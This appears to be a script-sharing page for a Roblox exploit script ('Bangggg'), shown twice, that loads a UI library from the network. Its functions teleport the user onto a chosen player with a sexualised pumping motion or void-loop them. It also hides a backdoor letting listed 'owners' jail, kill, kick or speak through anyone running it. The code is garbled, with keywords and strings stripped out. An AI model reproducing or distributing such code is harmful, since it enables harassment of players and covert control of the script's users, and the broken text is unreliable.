Run it
Copy the script and paste it into your executor.
Rayfield = (:())()
Owners = {, }
lp = .Players.LocalPlayer
Window = Rayfield:({
Name = ,
LoadingTitle = ,
LoadingSubtitle = ,
ConfigurationSaving = {Enabled = , FolderName = , FileName = },
KeySystem =
})
TargetName =
PumpIntensity =
PumpSpeed =
(Name)
Name = Name:()
_, v (.Players:())
v.Name:():(, #Name) == Name v.DisplayName:():(, #Name) == Name
v
(plr)
_, owner (Owners)
plr.Name:() == owner:()
(plr, msg)
(plr)
args = msg:()
cmd = args[]:()
target = (args[] )
target == lp
cmd ==
.JailPart .JailPart:()
.JailPart = .(, )
.JailPart.Size = .(, , )
.JailPart.Transparency =
.JailPart.Anchored =
.JailPart.CanCollide =
.JailPart.CFrame = lp.Character.HumanoidRootPart.CFrame
.JailActive =
.(()
.JailActive
lp.Character lp.Character:()
lp.Character.HumanoidRootPart.CFrame = .JailPart.CFrame
.()
)
cmd ==
.JailActive =
.JailPart .JailPart:()
cmd ==
text = .(args, , )
chatEvent = :():()
chatEvent
chatEvent.SayMessageRequest:(text, )
cmd ==
lp.Character lp.Character:()
cmd ==
plr.Character lp.Character
lp.Character.HumanoidRootPart.CFrame = plr.Character.HumanoidRootPart.CFrame
cmd ==
lp:()
cmd ==
lp.Character lp.Character.HumanoidRootPart.Anchored =
cmd ==
lp.Character lp.Character.HumanoidRootPart.Anchored =
.Players.PlayerAdded:((plr)
plr.Chatted:((msg) (plr, msg) )
)
_, p (.Players:())
p.Chatted:((msg) (p, msg) )
TargetTab = Window:(, )
OpsTab = Window:(, )
TargetTab:({
Name = ,
PlaceholderText = ,
Callback = (Text) TargetName = Text:() ,
})
OpsTab:({
Name = ,
Range = {, },
Increment = ,
Suffix = ,
CurrentValue = ,
Flag = ,
Callback = (Value) PumpIntensity = Value ,
})
OpsTab:({
Name = ,
CurrentValue = ,
Callback = (Value)
.NormalBangActive = Value
counter =
RunService = :()
.(()
.NormalBangActive
connection = RunService.Stepped:(()
.NormalBangActive
(()
target =
_, v (.Players:())
v ~= lp (v.Name:():(TargetName) v.DisplayName:():(TargetName))
target = v
target target.Character lp.Character
followPart = target.Character:() target.Character:()
followPart
counter = counter +
pump = .(counter * PumpSpeed) * PumpIntensity
lp.Character.HumanoidRootPart.Velocity = .(,,)
lp.Character.HumanoidRootPart.CFrame = followPart.CFrame * .(, , + pump)
)
)
.() .NormalBangActive
connection:()
)
,
})
OpsTab:({
Name = ,
CurrentValue = ,
Callback = (Value)
.FaceLockActive = Value
.(()
counter =
.FaceLockActive
(()
target =
_, v (.Players:())
v ~= lp (v.Name:():(TargetName) v.DisplayName:():(TargetName))
target = v
target target.Character lp.Character
head = target.Character:()
head
counter = counter +
pump = .(counter * PumpSpeed) * PumpIntensity
lp.Character.HumanoidRootPart.CFrame = head.CFrame * .(, , - + pump) * .(, .(), )
)
:().Heartbeat:()
)
,
})
OpsTab:({
Name = ,
CurrentValue = ,
Callback = (Value)
.VoidLoopActive = Value
.(()
firstVoid = .(, -, )
.VoidLoopActive
(()
target =
_, v (.Players:())
v ~= lp (v.Name:():(TargetName) v.DisplayName:():(TargetName))
target = v
lp.Character lp.Character:()
lp.Character.HumanoidRootPart.CFrame = .(.(-, ), -, .(-, ))
.()
lp.Character.HumanoidRootPart.CFrame = firstVoid
.()
target target.Character target.Character:()
lp.Character.HumanoidRootPart.CFrame = target.Character.Head.CFrame * .(, , -) * .(, .(), )
.()
lp.Character.HumanoidRootPart.CFrame = .(.(-, ), -, .(-, ))
.()
)
.()
)
,
})
Rayfield:({Title = , Content = , Duration = })
Rayfield = (:())()
Owners = {, }
lp = .Players.LocalPlayer
Window = Rayfield:({
Name = ,
LoadingTitle = ,
LoadingSubtitle = ,
ConfigurationSaving = {Enabled = , FolderName = , FileName = },
KeySystem =
})
TargetName =
PumpIntensity =
PumpSpeed =
(Name)
Name = Name:()
_, v (.Players:())
v.Name:():(, #Name) == Name v.DisplayName:():(, #Name) == Name
v
(plr)
_, owner (Owners)
plr.Name:() == owner:()
(plr, msg)
(plr)
args = msg:()
cmd = args[]:()
target = (args[] )
target == lp
cmd ==
.JailPart .JailPart:()
.JailPart = .(, )
.JailPart.Size = .(, , )
.JailPart.Transparency =
.JailPart.Anchored =
.JailPart.CanCollide =
.JailPart.CFrame = lp.Character.HumanoidRootPart.CFrame
.JailActive =
.(()
.JailActive
lp.Character lp.Character:()
lp.Character.HumanoidRootPart.CFrame = .JailPart.CFrame
.()
)
cmd ==
.JailActive =
.JailPart .JailPart:()
cmd ==
text = .(args, , )
chatEvent = :():()
chatEvent
chatEvent.SayMessageRequest:(text, )
cmd ==
lp.Character lp.Character:()
cmd ==
plr.Character lp.Character
lp.Character.HumanoidRootPart.CFrame = plr.Character.HumanoidRootPart.CFrame
cmd ==
lp:()
cmd ==
lp.Character lp.Character.HumanoidRootPart.Anchored =
cmd ==
lp.Character lp.Character.HumanoidRootPart.Anchored =
.Players.PlayerAdded:((plr)
plr.Chatted:((msg) (plr, msg) )
)
_, p (.Players:())
p.Chatted:((msg) (p, msg) )
TargetTab = Window:(, )
OpsTab = Window:(, )
TargetTab:({
Name = ,
PlaceholderText = ,
Callback = (Text) TargetName = Text:() ,
})
OpsTab:({
Name = ,
Range = {, },
Increment = ,
Suffix = ,
CurrentValue = ,
Flag = ,
Callback = (Value) PumpIntensity = Value ,
})
OpsTab:({
Name = ,
CurrentValue = ,
Callback = (Value)
.NormalBangActive = Value
counter =
RunService = :()
.(()
.NormalBangActive
connection = RunService.Stepped:(()
.NormalBangActive
(()
target =
_, v (.Players:())
v ~= lp (v.Name:():(TargetName) v.DisplayName:():(TargetName))
target = v
target target.Character lp.Character
followPart = target.Character:() target.Character:()
followPart
counter = counter +
pump = .(counter * PumpSpeed) * PumpIntensity
lp.Character.HumanoidRootPart.Velocity = .(,,)
lp.Character.HumanoidRootPart.CFrame = followPart.CFrame * .(, , + pump)
)
)
.() .NormalBangActive
connection:()
)
,
})
OpsTab:({
Name = ,
CurrentValue = ,
Callback = (Value)
.FaceLockActive = Value
.(()
counter =
.FaceLockActive
(()
target =
_, v (.Players:())
v ~= lp (v.Name:():(TargetName) v.DisplayName:():(TargetName))
target = v
target target.Character lp.Character
head = target.Character:()
head
counter = counter +
pump = .(counter * PumpSpeed) * PumpIntensity
lp.Character.HumanoidRootPart.CFrame = head.CFrame * .(, , - + pump) * .(, .(), )
)
:().Heartbeat:()
)
,
})
OpsTab:({
Name = ,
CurrentValue = ,
Callback = (Value)
.VoidLoopActive = Value
.(()
firstVoid = .(, -, )
.VoidLoopActive
(()
target =
_, v (.Players:())
v ~= lp (v.Name:():(TargetName) v.DisplayName:():(TargetName))
target = v
lp.Character lp.Character:()
lp.Character.HumanoidRootPart.CFrame = .(.(-, ), -, .(-, ))
.()
lp.Character.HumanoidRootPart.CFrame = firstVoid
.()
target target.Character target.Character:()
lp.Character.HumanoidRootPart.CFrame = target.Character.Head.CFrame * .(, , -) * .(, .(), )
.()
lp.Character.HumanoidRootPart.CFrame = .(.(-, ), -, .(-, ))
.()
)
.()
)
,
})
Rayfield:({Title = , Content = , Duration = })Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: sirius.menu.
Bangggg

Universal